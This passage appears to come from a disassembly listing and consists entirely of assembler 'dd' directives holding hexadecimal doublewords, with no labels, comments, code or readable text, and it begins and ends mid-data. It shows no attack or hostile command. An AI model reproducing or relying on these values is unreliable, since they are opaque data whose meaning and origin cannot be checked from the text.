dd 6A23C775h, 801F6C39h, 0ECD24B3Fh, 579293h, 0D7157382h dd 1755B321h, 31F2620Eh, 96FE0030h, 0E53CD2h, 0DBBC0950h dd 0EB203242h, 0DE181673h, 61E8C8D5h, 4E460F75h, 56405847h dd 0A3689928h, 0ED03D48h, 40A2F0E2h, 272E132Bh, 0F9440046h dd 0C46D6C5Ch, 2100D89Bh, 61990C80h, 8D2E4Ah, 5D060B0Fh dd 9B95EDC6h, 44A52800h, 526091ADh, 50FF24E3h, 5F230070h dd 0CF262AC6h, 0C18298A0h, 6B132C00h, 0C8625737h, 497998h dd 29563470h, 0A1B346FFh, 4CB27300h, 0F739360Dh, 343F3C85h dd 5101007Bh, 594EE5D2h, 870B9890h, 5B5644h, 0F5709304h dd 3243021Eh, 0D2F269A5h, 0ABC9CB60h, 916B5C02h, 0C0AAFC98h dd 6A7D1Ch, 6338EC21h, 0DB9BC7D3h, 3F269505h, 79C7DED9h dd 0CBF3CAB0h, 0C2A103D7h, 74A9B89Fh, 453C087h, 4E3A7517h dd 2D3883F2h, 0A032BCE8h, 0DA3791h, 0EE7C1F20h, 3DBA06EDh dd 1D00B9FCh, 744007FDh, 33AB8h, 0ED8578C7h, 8BC2B2DCh dd 4D294F00h, 0DAEBF540h, 0D7CE0082h, 613DE9B3h, 0A2712D50h dd 184F0F00h, 0E5D87454h, 0E38501C6h, 6356DD22h, 0AE53F441h dd 47911B12h, 0F106F00h, 5D0AF2Bh, 9EBFEB62h, 0F536C0FDh dd 0D800ACCCh, 5C5D976Ah, 0F210D47Fh, 0C63100D7h, 0D95E1619h dd 1A1E531Dh, 45C0AABFh, 760381E2h, 1FB604ADh, 0C032AE99h dd 0C12A1024h, 5265E800h, 2671FC7Dh, 0FF7F0038h, 0E3BCA3C6h dd 0DC0028EDh, 0AB0AA451h, 732E92h, 498C99B5h, 0F09ED882h dd 328F8503h, 61CB35h, 2CD01F66h, 0E3A74D7Dh, 80C78D1Ch dd 0AE47F840h, 3EDCE00Ch, 0BB00F087h, 3B0D64D4h, 18243354h dd 7A1D1DC8h, 3482A51Dh, 405DAD9Dh, 7D7584D1h, 113C60EAh dd 9A088711h, 74CE2100h, 0E0DF2815h, 0ABB00Fh, 0CA5FC747h dd 453B54ABh, 49042F00h, 0F1A352FCh, 9A91007Ah, 9F31035Ch dd 9E074D97h, 0BE3BF6F2h, 5013839Fh, 45DDB82Fh, 30E900A4h dd 1F94FA7Fh, 3D007A8Ah, 68F762A0h, 9084E42h, 0F8923AD4h dd 50D11400h, 91003C0Dh, 0AC84F49Bh, 0C3B7CEh, 9811496Ch dd 0EBDF5626h, 9C721E00h, 0DE6EC7F1h, 381A019Eh, 0F4555915h dd 0C39DFC39h, 48149304h, 3100DB87h, 9A061B57h, 0AA35AE02h dd 0C0ACFC3Ah, 0E248D116h, 2908000Ch, 741CADC5h, 0FA00BEF1h dd 0A265826Fh, 9060D8ECh, 0C0C52A2Fh, 0EAB20788h, 337CEFADh dd 30CFDE1Bh, 55825862h, 519A11Fh, 0DFABBA80h, 0E4B878C3h dd 2148C0DEh, 0B08044F4h, 0BD17D700h, 83FD65BCh, 8DCB1F1Fh dd 84E8ACh, 0F7A544F2h, 7B3E8A2Ah, 0BB5E3B0Eh, 0F67927BEh dd 0D621DE20h, 41A46086h, 2F042084h, 875FFF00h, 0AA51CC93h dd 0E7910319h, 310FED06h, 0BB3C35E0h, 0D9086C00h, 9D72307h dd 0BE4A1D03h, 9AD6CFE2h, 0DC477080h, 0E638C472h, 0CD7A00A1h dd 75B82244h, 0CB1800B4h, 9B377985h, 55001D8Fh, 24016FE6h dd 5D6461h, 6E728DBAh, 0A7D221B5h, 8062903Ah, 0B49325F2h dd 0B1373Ch, 6E700FA9h, 46DF89B8h, 9868D301h, 59942027h dd 66E0D8h, 8CD42A55h, 0CBCBBCBh, 6DF531Dh, 41292CC0h dd 2B69D75h, 7C45942Ah, 33C06A17h, 0DC0019D5h, 0DF419F13h dd 4B988h, 0DAE0D225h, 0CB2CFC7Ah, 6C2FA703h, 8791FE0Ch dd 9057B300h, 3611004Eh, 0C799D46Fh, 7B00BC94h, 149C3CD9h dd 16BD4A26h, 0FCCE8Bh, 17A2C8B9h, 0BF00C6E1h, 0D9194D2h dd 0C2D0C9h, 5F42601Ch, 0B2842319h, 0CD01CE98h, 4474AC81h dd 0A0D8D36Ch, 0BC7D3A34h, 7A186501h, 0C87F0BC4h, 0F13C6B5Ah dd 80DD8062h, 0C0A829B7h, 94683B77h, 3F4EAE83h, 0E2A0DFE9h dd 0F412C378h, 30013B0Fh, 6D1E3C8Ah, 0C06460C2h, 999A38DEh dd 7AF7EC7Ah, 0A8024F5Ah, 0A1EB007Eh, 78FA93F6h, 0B9ECB2h dd 654C764Dh, 240D37AAh, 0F173B302h, 60B1AF14h, 0E8B80F80h dd 8CEE33A7h, 0C28BDFD6h, 63340CB8h, 7100B498h, 6E37B365h dd 7E77045Ch, 804F05B1h, 0C0D37BE1h, 5F6DB5CCh, 0BB51AE00h dd 477A73ADh, 2C150457h, 9027D9A0h, 814F6D64h, 6611DC0Fh dd 0D10B8056h, 120E643Ah, 0FA6CCCDh, 0A92002A4h, 0EF094527h dd 80D6E600h, 0DACBA52Fh, 0B14C0066h, 7C0DB894h, 0BF00221Bh dd 0FCE020D8h, 355D79h, 7AB10548h, 24F1C57Dh, 46AAF200h dd 5B8F1073h, 6A7E004Fh, 7225E3BEh, 0E90024CDh, 615911Ch dd 2FFA13Dh, 0D0DE6A86h, 0E440BDDFh, 6E001FFAh, 85C5A6DBh dd 0D9B115h, 356DFF06h, 9707BEA4h, 193A6098h, 0E2A98027h dd 0FFA351B2h, 0C5ED06DAh, 0D89BAE2Ch, 134B062Eh, 7A4E0F3Bh dd 18A10C4Fh, 48D6493Eh, 6FA85B0Eh, 0F03F58C7h, 1D0F4417h dd 200045F6h, 94EB0D95h, 3A4A9h, 0D821FE69h, 4E2BEE0Ch dd 0CF2DAF00h, 1EC2DE81h, 7A71008Ah, 5545C7D0h, 6C021B31h dd 0BBFE08D8h, 7F904119h, 34E25ECh, 0FFAB0D93h, 50F77542h dd 0FC8F5112h, 0F73F70Ch, 34D0626h, 9843A14Ch, 0EDF8A26Fh dd 0B660023Dh, 0E16691E1h, 20FB003Ch, 2B8D734Eh, 4000616Bh dd 2D0DD4ABh, 4B9572h, 6F92B109h, 82D253E7h, 6E24D124h dd 2C78A0Fh, 875068FAh, 8E8058F2h, 53179EBh, 1056DA75h dd 29000D3h, 0B7B0B4F6h, 613C9600h, 8FF1EB5Ch, 0A4D050E0h dd 0EEE0076h, 0C3DD89D3h, 0B400CA82h, 851F4204h, 255F841h dd 0F1E99B48h, 64404FEFh, 9D001DD3h, 0E4C111A5h, 3C156661h dd 28822119h, 756AFE7Eh, 63871C40h, 0F02A4A41h, 600A8D4h dd 6796E572h, 1426268h, 61F5B88Bh, 0C86CAF51h, 2EE273D5h dd 0D0A63600h, 9D642F4Ch, 0A2630040h, 0F86654FFh, 18C03887h dd 0D21FEFB6h, 83F202A1h, 5547C71Ch, 33FDB940h, 82AA2F00h dd 24A06987h, 5610049h, 0BC20A4A2h, 0B0000454h, 0C5B3DE2Ah dd 2C8A42AAh, 4C769Eh, 0AB380E6Bh, 0CF16CBCEh, 381E07A2h dd 8D180038h, 26CD179h, 0F8760077h, 2C53BD66h, 0D4067097h dd 0E0E8850Fh, 0C57A2630h, 30C10FD5h, 0C0408245h, 47EB16C9h dd 0AD6AD106h, 581DD2h, 3D4BAC7Ah, 103F0DAFh, 0C94A9B00h dd 67B0CD51h, 0F21B00E9h, 0DB772891h, 0EC9A86DAh, 1192433Fh dd 0C60007C0h, 63E395FDh, 0FE4C84EFh, 9F891650h, 0DF2704EFh dd 5481AAC1h, 0D86445E1h, 8BEC40h, 0F286F13Ch, 95841709h dd 4E9A1C00h, 295A3E15h, 0E0C21F99h, 6AAE89Dh, 0A15DB023h dd 0AD0740A5h, 6E5B6908h, 0C0EE7392h, 73098AF4h, 1D6C0116h dd 0C74004CDh, 0F5A050ECh, 0E892E270h, 25105D18h, 0F28F3A19h dd 0E0805422h, 0B7AF80BCh dd 1BB30700h, 16625DD0h, 88A25C9Ch, 0AB26B07h, 0E82DF0F6h dd 26136684h, 0A80FCF6Eh, 5C03E7BFh, 35399A60h, 68240077h dd 0D7A573F1h, 9B015150h, 0F7980B97h, 2FCC458Fh, 0FD88C903h dd 0C1478491h, 0C387D8B4h, 0B0380700h, 17119ADh, 118F004Bh dd 2CB5808Eh, 7209C29Ah, 40296465h, 1BF6DBCh, 588FCFE2h dd 70D2E915h, 0A37CC5ACh, 13C029E9h, 9D0016A8h, 4A86259Ch dd 0DAB50EF7h, 0D9607F8Eh, 1473678Bh, 6300D87Ah, 36843768h dd 0FA227134h, 48E2DEh, 1B6A727h, 5013AAB4h, 0D3FE8A01h dd 92390A65h, 14D6AA60h, 0B01AA2F9h, 481E7221h, 0F3073C6Ch dd 1880629Fh, 0B29E1EA6h, 1471D8h, 298D6589h, 0CF235AA0h dd 0D1031673h, 948C66EFh, 2FE1EF3Bh, 5AE59256h, 8414860h dd 0A5E146F6h, 35AD3C02h, 66FA2054h, 3D00E07Ah, 4E1E5621h dd 4BDDE8E4h, 3F5C4083h, 76E5666Fh, 10186A00h, 0D1542997h dd 77E670D5h, 40090B7Dh, 6381693Dh, 307E2A42h, 2800A32Ch dd 4DD2C9C5h, 0A7D1DFh, 775C04FDh, 0EB0C53A0h, 5E190100h dd 336421B3h, 50570B51h, 4480CA98h, 6BE5D5A1h, 0C8B17003h dd 0B07C7BABh, 65C48EEh, 1F082F30h, 0C20974FCh, 816B61F1h dd 5A3C4B9Eh, 5CDEA20h, 26C74D6Ah, 670080CFh, 0EC2C3D10h dd 0E802F889h, 403BD7D5h, 0FC96D648h, 0D750BF1h, 1C00B526h dd 0CE03C431h, 7E9813Fh, 9757AC8Eh, 20877BF5h, 0D3AA0D0h dd 605200A3h, 11395558h, 0E53CEF37h, 0EA8C0081h, 0E07FF9B2h dd 15021886h, 5F4386Ch, 541A6D00h, 0F0B5189Bh, 0D7630E2Ch dd 39CF0809h, 0E51047F6h, 7033F160h, 0D02460CCh, 1407FE24h dd 0FA704618h, 4CA11E8Bh, 78EE873Ch, 1374907Bh, 0B607D7ADh dd 9FC394BDh, 4E2A2BE0h, 0B58E0978h, 4890912Dh, 0A90F5203h dd 0E9AE2E7Fh, 554483A8h, 2902E42Bh, 40688353h, 16009386h dd 0A5DEA9E3h, 4D19459Bh, 0D203244Eh, 2491878Ah, 5A8BF800h dd 0BA1C1416h, 0FC40B063h, 0BCC81F17h, 0F00AE0Ah, 121B0Ch dd 0F3EA8988h, 0E306A42Ch, 0C79ECEDEh, 0E8EC0018h, 0FD225E5h dd 4313AEF1h, 0E10061C0h, 7D8E35E2h, 4F220308h, 3DAD0572h dd 4CB7C2F8h, 99592B09h, 455CA770h, 0F0A89020h, 80FCB99Dh dd 0C2D593C8h, 80066CFh, 3D53C175h, 5CECF762h, 0B6015331h dd 59172B51h, 664880AAh, 0D1AE9A07h, 2D301E34h, 3661C002h dd 4E589BC0h, 0E613FD07h, 92664743h, 0A4F51FA4h, 90540060h dd 10500138h, 0A61E4AB0h, 74E4C737h, 0DD2FF600h, 0E2D8EA19h dd 0A38400E3h, 912EE59h, 40C0B3D9h, 46B41C20h, 0E90430FAh dd 14759628h, 0B5D6A812h, 8082DD09h, 0D41607CAh, 1EC2F6F5h dd 7FD813D3h, 0C0FDC59Eh, 0E77C6C75h, 9400ABD2h, 1368F174h dd 1EB3CACFh, 811C4105h, 12067246h, 93EBC4E3h, 190A2312h dd 13A23409h, 0E9701628h, 55704016h, 0A3813238h, 0CF595A00h dd 155E23EFh, 50D2004Bh, 591F9DAh, 3894C53Fh, 0FA5BFD80h dd 90A50CAAh, 4AE10934h, 1CC5AF7Fh, 54408B12h, 39220342h dd 642000ABh, 5E409908h, 8F261C1Ah, 0BD609469h, 0F36DC7h dd 5FEC7E86h, 92BE994Ah, 0D5522700h, 8587B7F1h, 0FC3900D3h dd 0BAEF348Ah, 497D4201h, 0A6B9F0A3h, 1DBC6033h, 80588D7Bh dd 0E0A119B6h, 18F4D378h, 7B7C002Eh, 0E66DEF4Dh, 0B0D0C7CCh dd 49050FD8h, 40A66F56h, 5F3C5411h, 788A48F3h, 6F00673Ch dd 2758911Fh, 49001D9Dh, 0A835978Fh, 3B28AAh, 0B67A8762h dd 0DE79F89Fh, 0C456BE00h, 623B8D7h, 9C3504A8h, 805E4DBBh dd 306467BCh, 1BF7A902h, 0E9A76619h, 283D6560h, 1214414Ah dd 9AF5F9Bh, 7C29034h, 524D5825h, 96E6A032h, 0BA0181EBh dd 8EC5A7D3h, 0BE306811h, 0B02C7AFCh, 9BCD0588h, 0C0A407E7h dd 1D75457Ch, 0FB9D2D1Fh, 60B62CCFh, 0C3013B11h, 0C9F295Bh dd 7A483FA4h, 0EC032Ah, 0B44A6362h, 0E19DE366h, 220A3Bh dd 6554C4D4h, 1211A43h, 25911BABh, 0F8BD2BF0h, 0FB124A51h dd 0B80001A9h, 17C4E062h, 11B06713h, 80B5957Dh, 9831E154h dd 0C9A6D112h, 0A035920Eh, 524AF194h, 0ABF4F90Fh, 9CBA0083h dd 69E9E1F4h, 950798EBh, 7467F81Dh, 3F5E90E0h, 0B7750082h dd 864BC1C4h, 0B80E8FC2h, 0E07CA716h, 7E814FBCh, 0DDDCA075h dd 0D16A2EF6h, 169100F0h, 8EECC527h, 9900D074h, 0E4B5AACBh dd 38070A52h, 0C300A0A5h, 3574B086h, 0EE0F2AE3h, 6B9C5659h dd 0B67E80F5h, 0C49DF3h, 0E45B5899h, 8B94810Dh, 7B408A00h dd 76A214BFh, 0C5220F7Dh, 9B8002C8h, 9B5F31Fh, 78C71B26h dd 7EFB7A80h, 20592h, 5C9614BEh, 311E8B79h, 6CA4FF00h dd 3CA3A707h, 0EEBCB034h, 94C1CD2h, 0B329C0C9h, 0FA1665D8h dd 0B10ACD70h, 14BBE2D9h, 0C0E84F0Fh, 0EBB0F645h, 0B1B912A4h dd 4007162Dh, 1819DF5Ch, 500776FDh, 0FAB32AA3h, 38F373B1h dd 0EA782087h, 0E62281C6h, 32109EB7h, 1B1DFD03h, 9997F06Ah dd 0F72B3F81h, 0E52CC180h, 0C9BCD05Eh, 8638F403h, 810C51A3h dd 58E0A0B8h, 8CC100CDh, 42CABD92h, 9912A35Eh, 0E8405763h dd 0DE4CC5F9h, 0B913009Fh, 1AA3E7B8h, 0A000D2ACh, 0F673373Eh dd 1EA7DBFFh, 419BBFC0h, 2B86B1C6h, 87684036h, 0AA3F5766h dd 6EEF18E2h, 1678FEC0h, 806D2427h, 4760AB6Ch, 4DC0A354h dd 0A200AE76h, 0FA15D30h, 0F8761CBAh, 80740096h, 737FFF82h dd 89003F27h, 0AED00913h, 170334h, 91D6F4AFh, 53F3DFDBh dd 6B5D3Ah, 923DB8BAh, 0CC0635h, 70976FBEh, 43ABBFCh, 0D2FF6903h dd 0A832D589h, 60541E5Bh, 2DAB6C6Dh, 0CA00581Ch, 0CF9D1375h dd 101345Eh, 0BF63F9F4h, 0C09095F3h, 2E17AF69h, 1400DBB5h dd 398DA1A6h, 0FE6C0F80h, 0FF40407Bh, 0F49A6732h, 6808BC59h dd 745504E8h, 98007B98h, 93D35071h, 0D1890Bh, 1BFE77A5h dd 10CADEC3h, 5BFA5A07h, 548398BDh, 0A0DCC312h, 3E71AF15h dd 7F3DAA65h, 7393E603h, 4C90D757h, 0FB0FD64Eh, 9DB95574h dd 0B7D06103h, 0A5ADF0E7h, 0F5D31FFDh, 6500098h, 0A459E295h dd 0C000F9F0h, 73DEF3D4h, 1AB04F0h, 0DCC22362h, 0BF69E0D8h dd 0A49B1FB8h, 332F38C0h, 5BA0C57h, 0C7ECFA74h, 92C5C1A9h dd 0BC288845h, 9FA790A5h, 3F21EF51h, 90AFB108h, 90E2C8ABh dd 0A062840Bh, 0A942FF48h, 212724E5h, 6312052Bh, 40FAC110h dd 228473C8h, 174237BBh, 21FDD911h, 901084Fh, 0C88E1B90h dd 89B79D9h, 0C5314525h, 1E14118Ah, 84B72990h, 0D3483084h dd 2413F242h, 9A8F2183h, 0A080D817h, 695A17EDh, 0F1991F10h dd 4FDF0018h, 0F2CE2AA1h, 0B31A1500h, 0DBAAF0F3h, 900D006Ch dd 555C8A4Ah, 0E800A79Ah, 34C3A991h, 0E6BE592Dh, 233C006Ah dd 0A601B817h, 0E003961h, 0CEACCB91h, 36276Ch, 2420DEB3h dd 0BC29D65Ah, 30E47707h, 6DE0E5C8h, 1F094AA2h, 0DF19FC4Dh dd 97584075h, 87EF72EDh, 5B513600h, 0C1F082B6h, 0E3E40070h dd 13DF09A6h, 15020361h, 0C9BEED29h, 0E08848EAh, 0D99C00D3h dd 6F17C1E3h, 6500E84Ch, 52718AE5h, 701DA1D2h, 0CFFF00D5h dd 330728F6h, 0AB1C9654h, 66808135h, 4985977Fh, 0E822CCCh dd 25180066h, 2C301D92h, 0E74AC700h, 56CCBF81h, 87C9006Eh dd 0AD2D1A1h, 0AD2C3F53h, 0DF01B076h, 0E86715B4h, 16E143F0h dd 10662BFh, 0C47685E9h, 8DD2D898h, 0A011661Dh, 0DA64DE00h dd 573A36h, 0B40F43E0h, 0E1D560E4h, 136894A0h, 0B7006CF2h dd 81DDDEA8h dd 11CEBFCh, 0D784D154h, 0CCB5D2DAh, 0A0A10356h, 0F7B0C143h dd 25B12EC0h, 0FCA0CF1Fh, 308BAE40h, 0F0CD0DFDh, 4A140024h dd 72E04690h, 50FC36C1h, 5C4B3Bh, 0ECFD5FEh, 4C81D9h, 9B910958h dd 0C4AD89D8h, 48AF853Ah, 1786032Bh, 88EADC51h, 0E6D78367h dd 372B1CE5h, 5C57C013h, 9E4A2FBAh, 4E10C900h, 1955CCB2h dd 949F508Ch, 0D3770174h, 0E2F9454Dh, 0CE1E783h, 5888E4A5h dd 0FF866112h, 54003C16h, 4E0E376Fh, 0FE6407D4h, 908DC5E2h dd 5B45317Ah, 0BCD14B00h, 74567871h, 0EE51005Dh, 7029203Ch dd 6A000A97h, 2469350Dh, 74528E1h, 20F7EC07h, 4B490015h dd 6122670h, 5C0E588Bh, 748404Eh, 71FFF895h, 0D8B70913h dd 200E0D43h, 497CC860h, 0BC0EA13Bh, 0C0CCC045h, 0B8961E5h dd 0F3F00C9h, 0D9A45FB1h, 130ECE9Ch, 0C04CB2D7h, 0FD551198h dd 875D0956h, 74C9219Bh, 0B3A0246Dh, 0A6D28802h, 4867E7EBh dd 36A3500h, 5F2F599Ch, 43C822CFh, 2D05F55Eh, 9057EF94h dd 7299FC40h, 1CA4EAC2h, 61D0E10h, 0A01E7FB2h, 0F1D5C109h dd 50700072h, 64831h, 0EFD67C7Eh, 4598DA4Ch, 111DCD00h dd 0A8608371h, 5573003Eh, 0AE6512D0h, 22010E47h, 84B227E2h dd 1AF4318Fh, 6570092h, 60F039E7h, 5200FAEAh, 2318D4D9h dd 144B3Ah, 0A9F26B29h, 0B24DFDCAh, 74C48F04h, 8FC28Ch dd 0B03B51A2h, 0F4DC7C65h, 765000B1h, 5CCD1936h, 9B009F05h dd 0D6EA4AF1h, 0E9D902Dh, 816D3374h, 5188EB40h, 0A700A84Dh dd 0F4ACDE2Bh, 956979h, 0C6E111D2h, 13FC4AFBh, 15C2DC0Eh dd 0A233C040h, 0C227Ch, 3DAEB742h, 928FDF21h, 0F51FA600h dd 6A1461A4h, 7DCCEDCAh, 0B72A3E35h, 551C7180h, 3041BAB6h dd 0A07B2100h, 474CEE3Eh, 0DFD70EBCh, 2900DA82h, 1D40BEC5h dd 7E679A00h, 127672A3h, 152B3D1Fh, 0A23E470Eh, 3C00F854h dd 7904DA59h, 1217A424h, 1C46B290h, 988EE931h, 2F0A01CAh dd 0CE231620h, 3C09D091h, 9EC1AE00h, 0AA8535E6h, 3EB70017h dd 0AFB47563h, 97002283h, 249C0F20h, 0ADB0F6h, 2D73054Dh dd 821291F7h, 0A76DFF13h, 5A96DB00h, 745EE11Fh, 0CE57006Bh dd 0DE604265h, 0D40ECBD6h, 6C2B2F09h, 3F3CF29Eh, 8C8711D8h dd 302582E9h, 0F6A323CDh, 43679200h, 0AD361044h, 98FD0CF4h dd 11D0B9ACh, 0FF17B100h, 3D7196A9h, 204400CFh, 84BE1437h dd 0E600D8F0h, 0BCDF0363h, 0DA98DDh, 0FEF70E97h, 54350B47h dd 3430C3Dh, 421BEF4Dh, 9D29A06Fh, 4CF57E90h, 0B680E402h dd 64D1E6D3h, 88ECEB28h, 0D8F11713h, 0FFB00803h, 2DC0D4FDh dd 0A0783C79h, 0C0294080h, 0AEEF928h, 6D00D674h, 32364FEh dd 972897Ah, 860B6AFCh, 0A4194E80h, 0B100C2F8h, 0F618BAEDh dd 30244812h, 0A2D8A155h, 0FD008742h, 34587C6Dh, 0F2E6F72h dd 6122F403h, 5381FE9Dh, 35A8195Dh, 0CBCFC8Fh, 368ED001h dd 0A2B98517h, 99E2DCh, 0D1B39081h, 0E57A088Bh, 0D33F416h dd 1ECA000h, 0FF3BC61h, 15ED4779h, 0C0434947h, 0DEA68A08h dd 0E800D5F8h, 5FB30BF1h, 364E490h, 0D4F4750Fh, 55D8D24Eh dd 0CF00A7B8h, 885A45Dh, 123428CDh, 0BC1981h, 0BED97FA8h dd 2B02F412h, 0C643ECD7h, 1F4C4004h, 787001Eh, 21C9C01Ah dd 0CF000877h, 0BE2712BFh, 28A05FEh, 998F23A3h, 4CE8882Bh dd 7001EC3Ah, 41B857AAh, 8E3073F9h, 7EAE0B89h, 50801927h dd 607AF1A8h, 0B3D53900h, 5DB91434h, 22710062h, 0C449976Ah dd 410070B5h, 6EDDF0CCh, 0E61182h, 8F65EAB7h, 8913D618h dd 80751C03h, 90610770h, 35AF930h, 0DC3B48D7h, 0FCE8F5E3h dd 0D800EE92h, 0DF7EEF6Ch, 2D9A56Fh, 6018CFCDh, 5E407A90h dd 0D032F39h, 56F73E99h, 3F8AC058h, 26100ECh, 204390AFh dd 47000C79h, 95C32DAAh, 36619ABh, 1C9CCF0Ah, 0C2C0F6DBh dd 14286436h, 0BE1EFC0Ch, 3FC74D4Fh, 2300DBB1h, 7CF44AF8h dd 9D500006h, 790CE6FDh, 0CC3FC502h, 0A4358073h, 26ECD032h dd 0F400910Ah, 9F610DE7h, 770C70h, 479330D6h, 0D8C6B7F4h dd 0BB8E8F07h, 3350FE25h, 1F7FB84Ah, 81F7CDAAh, 0FDDE52DDh dd 9709F45Fh, 0E4B1BE60h, 3933979h, 46FFF1CBh, 0C10003EEh dd 169E4290h, 0E40ADA1h, 88CEE3EAh, 0E63CAC20h, 56E4BC58h dd 901BAB00h, 0E5F7600Fh, 0A08D18EDh, 149B0B7h, 354F451Ch dd 0A17C7B3Fh, 0CC1C223Ch, 0A4202CC8h, 0A158A7h, 0D68487C7h dd 5BD9F4B4h, 789C4A00h, 0A1C224CBh, 0A9E02892h, 0DFCD18EAh dd 0F5C8B837h, 85F0FD3Eh, 0E10A632Dh, 0E0189BC3h, 30CB9AC4h dd 15C805F7h, 0E338D74Fh, 53B41654h, 177EC00h, 0F839AF88h dd 990B065Bh, 0B9CCC2C9h, 0E9F5B512h, 89C5B40Fh, 89B440D6h dd 0AAE6005Fh, 0D3668AFCh, 4900A025h, 1274CA38h, 1D91D635h dd 82E9F76Bh, 0CE5B9DFAh, 2026450h, 0C6B356B4h, 999AC39Bh dd 0DC40A052h, 0BFE0EDh, 2DC4FE57h, 0FA8A6670h, 4ED758h dd 0DC9D61ABh, 260E1679h, 1416C59h, 386657CDh, 8EDC30BDh dd 701D9C19h, 12C0D931h, 6020004Dh, 461EF97Fh, 4E0FFA4Ah dd 0A02AAF97h, 6A3B84DEh, 0ECC33019h, 454E76D9h, 0EA4B6813h dd 0A035C40Eh, 0A6E796FAh, 0A6F0009h, 4C4182FEh, 7C00FC14h dd 14E6CFBh, 0AC0B3Bh, 7750123Ah, 6E83C24Dh, 0A26A1A24h dd 4E38EF00h, 0E48FCF8Dh, 760D397Bh, 51F811E0h, 0F00033AEh dd 3EBE2BF9h, 55661Eh, 0F3701F93h, 0B78F9BEEh, 51D3900h dd 20BED147h, 0B1100068h, 77AE8614h, 1100C7E6h, 0F28F50B4h dd 0FDDA7CFh, 0F371DA81h, 0E29F7080h, 0F000102Bh, 992C3D26h dd 0A0A4410Dh, 1AA94C8h, 0A93A5950h, 41D2C6B6h, 4018EEB5h dd 5EE05480h, 3D470B01h, 33FA6ADEh, 4697064h, 0CAB38E38h dd 0B9508012h, 0A27C1C5Ah, 0C44DD81Ch, 0B62AC240h, 3B71D6Ah dd 6F62E43Bh, 0E79888E1h, 4F13E542h, 74005E0Ah, 8DCB94A0h dd 6C761Bh, 856B1C5Dh, 0E72C8767h, 9DC0BE12h, 5846E0C0h dd 8177B1h, 0C54C3DABh, 571B9853h, 0C3FA6903h, 0A248E4B5h dd 1EACE0F4h, 0D77900A3h, 0F7B68FC0h, 0CF6B2E8h, 607F9033h dd 0CEF0C86Ch, 0A17D0089h, 9EDCE33Bh, 440134D8h, 0B8EFC829h dd 0FFE0338Eh, 75561868h, 450F387Eh, 646AC600h, 4EF6E641h dd 3F9D007Ch, 0ABA8D066h, 0A50017FCh, 3A295AFBh, 27C935DBh dd 0B480FA75h, 0F3E61B9h, 0C589C200h, 0A0CEEA7h, 46A40258h dd 0AF854CA6h, 0FFE48840h, 6D9C8707h, 0F74082CDh, 988ACF8h dd 0F6A40221h, 862B7CA1h, 60542839h, 12135139h, 3C720FDDh dd 204C6CFh, 0C868E035h, 42D8F984h, 0D5450392h, 223C2FB7h dd 3073EFD1h, 67007A44h, 0F25CD250h, 0A2D836h, 1842E834h dd 0B896BD61h, 2A1E53ECh, 7100196Ch, 0D4269548h, 34F01C5Eh dd 0C0BB8175h, 24AAE23Fh, 8B5031FCh, 889673C9h, 0E049C60Eh dd 961D91D0h, 192A60FFh, 44F926E8h, 8E1A2B0Fh, 7972A290h dd 0EB346069h, 23B7035Dh, 0D428B07h, 9034A0BFh, 0C8F63626h dd 0E34E2E0Ch, 0B6105Ch, 48134194h, 81BCAE55h, 80678A3Bh dd 89EF44F6h, 3A75B4h, 0AA79D5FBh, 6B2A3BD9h, 55E76800h dd 0BB4EB9B5h, 78F96F52h, 0DB2EFEA0h, 27E4C88Ch, 0EBF7CE13h dd 4F7F1800h, 0A8F03848h, 547EB1B0h, 18C6F4F6h, 0D9880525h dd 490F2401h, 0C95645CFh, 0A038A02Fh, 0EB5B8Ch, 6C39E3A5h dd 0B4F3B833h, 0ECB9CB00h, 0E4A6F04h, 7816F6FFh, 2AE90E9Bh dd 550038D7h dd 6ED4571Ch, 8E854700h, 4376DEBAh, 23A024B3h, 66A51C5Dh dd 79F081D0h, 2472248Fh, 4E20EC08h, 4522003Fh, 0BB599607h dd 1807EA91h, 0FB41320Dh, 0AE82E290h, 5225001Ch, 30FEA1A8h dd 0E400C7D3h, 3CC1F1B9h, 0D7B760h, 0ED508D22h, 0CE4B94A9h dd 4F006EE6h, 0BB5F319Ah, 0B75E17h, 497DCC2Ch, 16054433h dd 0E8595A60h, 836061h, 9B7540FFh, 0F28D9258h, 4B1E2700h dd 9663BCEDh, 0D27A18D7h, 0E7FF6016h, 0B61F3F09h, 0BE0F0079h dd 9D5A9A6h, 0C7494420h, 1DFEEC80h, 9B00665Ah, 1630973Ah dd 77A83DCh, 0BCF7A55Fh, 8A8CD3ACh, 40320BF0h, 2B62EF00h dd 740D772Fh, 1F7183Dh, 2A6DD0FFh, 0FEE3B400h, 68DDABBCh dd 47550073h, 16347A4Dh, 3FF69B19h, 65D92303h, 0B976747Fh dd 41900B2Dh, 0A8F6C31Bh, 0BDD18864h, 3ACA61Ah, 5DD84910h dd 0D0009FF9h, 0ED6E9913h, 986AF7h, 3557C5AAh, 74037AF2h dd 1285F800h, 272A55C6h, 402009Dh, 7A175ECAh, 530720C5h dd 0C981A126h, 0B7FAB530h, 91690035h, 0C2E0E529h, 0A300F811h dd 7613BBAFh, 175F2EF6h, 192A886h, 89092AB9h, 9121DC90h dd 9B461C00h, 0AE731836h, 9FFADCh, 51064467h, 0D0119D63h dd 4B70CC00h, 365CEB73h, 27CA24B1h, 797E0053h, 95932C12h dd 9EB4E000h, 300ABB6Dh, 90EC033Bh, 3D1D7F96h, 2BDFDCC8h dd 7E8DF500h, 0CF5D7AAFh, 90C87046h, 0A5D1004Ah, 8758E2D9h dd 5F3BBE6Fh, 19780716h, 2DE0E53Bh, 703EA1Eh, 57361252h dd 260830B9h, 6400A435h, 8455AD96h, 6319D46h, 716E0AA8h dd 0CE05A0A5h, 63EEAE72h, 5625FD00h, 0DEE2DAh, 4EB0D8C9h dd 6CF4CFA0h, 7C57C80Eh, 569BC064h, 3335C0h, 3AC76748h dd 0FF6FBFA5h, 0C246DC00h, 2C22393Dh, 0B21B0075h, 0F96763A7h dd 0D004C055h, 967D4FD9h, 59E64480h, 0AD292354h, 0DB309h dd 0BB51A970h, 0CC825CC5h, 40F1E812h, 67C04F0Ch, 0B35045BCh dd 18074781h, 0DB0289A2h, 1D4480EFh, 0BF14F7h, 388EDD63h dd 3DB77D0Ah, 36A3E809h, 0FA000A6h, 0AB6AEDh, 52477992h dd 0F93FAF99h, 505B5733h, 88B5A078h, 6FC612EEh, 0AE5440D4h dd 0BEC898D3h, 97B8D201h, 6392D0CAh, 92486760h, 778700C4h dd 3E9BBC4Bh, 0C400166Dh, 0B8F4D746h, 6098B696h, 4036045h dd 0FA0934CEh, 835BB7E3h, 0B3FF691Dh, 3BA009A7h, 0B4203635h dd 0A88CE657h, 532ECD00h, 